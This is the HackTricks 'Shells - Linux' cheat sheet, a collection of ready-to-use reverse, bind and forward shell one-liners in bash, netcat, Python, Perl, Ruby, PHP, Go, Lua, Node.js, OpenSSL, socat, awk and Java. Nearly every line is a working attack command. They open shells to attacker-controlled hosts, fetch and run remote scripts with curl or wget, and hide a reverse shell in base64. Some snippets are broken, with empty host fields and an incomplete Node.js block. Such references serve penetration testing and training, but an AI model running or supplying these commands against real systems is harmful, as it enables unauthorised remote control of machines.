Shells - Linux

Support HackTricks and get benefits!
If you have questions about any of these shells you could check them with https://explainshell.com/

Full TTY

Once you get a reverse shell read this page to obtain a full TTY.

Bash | sh

curl https://reverse-shell.sh/ | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
sh -i >& /dev/udp/ 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (cretdits to Dikline)
#after getting the previous shell to get the output to execute
exec >&0
Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.

Symbol safe shell

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/ 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Create in file and execute

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Forward Shell

You might find cases where you have an RCE in a web app in a Linux machine but due to Iptables rules or other kinds of filtering you cannot get a reverse shell. This "shell" allows you to maintain a PTY shell through that RCE using pipes inside the victim system. You can find the code in https://github.com/IppSec/forward-shell
You just need to modify:
  • The URL of the vulnerable host
  • The prefix and suffix of your payload (if any)
  • The way the payload is sent (headers? data? extra info?)
Then, you can just send commands or even use the upgrade command to get a full PTY (note that pipes are read and written with an approximate 1.3s delay).


nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe


telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe


while true; do nc -l <port>; done
To send the command write it down, press enter and press CTRL+D (to stop STDIN)
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done


export RHOST="";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'


perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


ruby -rsocket -e'f=TCPSocket.open("",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/ 0>&1'"); ?>


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


victim> ncat --exec cmd.exe --allow -vnl 4444 --ssl
attacker> ncat -v 4444 --ssl


echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go


lua -e "require('socket');require('os');t=socket.tcp();t:connect('','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'


var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "", function(){
return /a/; // Prevents the Node.js application form crashing
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/ 0>&1'")
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
// If you get to the constructor of a function you can define and execute another function inside a string
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');


The Attacker (Kali)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
The Victim
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>


Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Reverse shell

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane


awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null


while true; do nc -l 79; done
To send the command write it down, press enter and press CTRL+D (to stop STDIN)
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done


#!/usr/bin/gawk -f
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
} while (cmd != "exit")


One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you ( on TCP port 6001.
xterm -display
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip


by frohoff NOTE: Java reverse shell also work for Groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();


Support HackTricks and get benefits!